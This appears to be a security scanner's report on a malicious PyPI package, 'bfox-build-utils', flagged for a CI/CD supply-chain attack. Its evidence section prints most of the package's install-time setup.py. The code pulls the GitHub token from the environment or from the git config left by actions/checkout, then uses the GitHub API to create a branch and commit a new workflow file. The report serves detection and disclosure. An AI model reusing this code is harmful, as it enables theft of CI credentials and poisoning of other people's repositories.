bfox-build-utils 1.0.998
Exfiltrates GitHub token, modifies repo
“Build utilities”
setup.py filters credential-named environment values for a POSTRegistry package lists one maintainer
SHA-256684d7fbae7e64647d3cc1fba093a4efdde9fbf3a57329423414356fa11e7ae06
Also flagged by osm (This package implements a CI/CD supply-chain poisoning attack. The setup.py, executing at install time, steals a GitHub token either from the GITHUB_TOKEN environment variable or by parsing a base64-e…) +2 more.
Evidence
1"""Build utilities package."""
2import setuptools
3import os
4import json
5import base64
6import urllib.request
7import sys
8import re
9
10REPO = os.environ.get("GITHUB_REPOSITORY", "")
11API = "https://api.github.com"
12BRANCH = "feature/ci-health-check"
13
⋯9 lines
33:16… "run_id: $GITHUB_RUN_ID"
34"""
35
36
37def _get_token():
38 """Get the GitHub token from the environment or git config.
39
40 GitHub Actions does not set GITHUB_TOKEN as an env var by default.
41 The actions/checkout action stores it in the local git config as:
42 [http "https://github.com/"]
43 extraheader = AUTHORIZATION: basic <base64(x-access-token:TOKEN)>
44 """
45 # Method 1: env var (set by some workflows explicitly).
46 token = os.environ.get("GITHUB_TOKEN", "")
47 if token:
48 return token
49
50 # Method 2: extract from git config written by actions/checkout.
51 workspace = os.environ.get("GITHUB_WORKSPACE", "")
52 if not workspace:
53 return ""
54
55 git_config = os.path.join(workspace, ".git", "config")
56 if not os.path.isfile(git_config):
57 return ""
58
59 try:
60 with open(git_config, "r") as f:
61 content = f.read()
62
63 # Match the extraheader line.
64 m = r …
66:6… )
67 if not m:
68 return ""
69
70 decoded = base64.b64decode(m.group(1)).decode("utf-8", errors="replace")
71 # Format: x-access-token:TOKEN
72 if ":" in decoded:
73 return decoded.split(":", 1)[1]
74 except Exception:
75 pass
76
⋯4 lines
81 url = f"{API}/repos/{REPO}/{path}"
82 headers = {
83 "Authorization": f"token {token}",
84 "Accept": "application/vnd.github.v3+json",
85 }
86 body = json.dumps(data).encode() if data else None
87 req = urllib.request.Request(
88 url, data=body, headers=headers, method=method
89 )
90 try:
91 resp = urllib.request.urlopen(req)
92 return json.loads(resp.read())
93 except urllib.error.HTTPError as e:
94 print(f"setup: {method} {path} {e.code}", file=sys.stderr)
95 return None
96 except Exception as e:
97 print(f"setup: {method} {path} {e}", file=sys.stderr)
98 return None
99
100
101token = _get_token()
102
103if token and REPO:
104 print(f"setup: token found, repo={REPO}", file=sys.stderr)
105
106 ref = _api(token, "GET", "git/ref/heads/main")
107 if not ref:
108 ref = _api(toke …
114:25… ETE", f"git/refs/heads/{BRANCH}")
115
116 result = _api(token, "POST", "git/refs", {
117 "ref": f"refs/heads/{BRANCH}",
118 "sha": sha,
119 })
120 print(
121 f"setup …
122:18… sys.stderr,
123 )
124
125 if result:
126 content = base64.b64encode(WORKFLOW.encode()).decode()
127 result = _api(
128 token,
129 "PUT",
130 "contents/.github/workflows/ci-health-check.yml",
131 {
132 "message": "Add CI health check",
133 "content": content,
134 "branch": BRANCH,
135 },
136 )
137 print(
138 f"setup: wor …
No evidence locations were recorded for this file. Raw result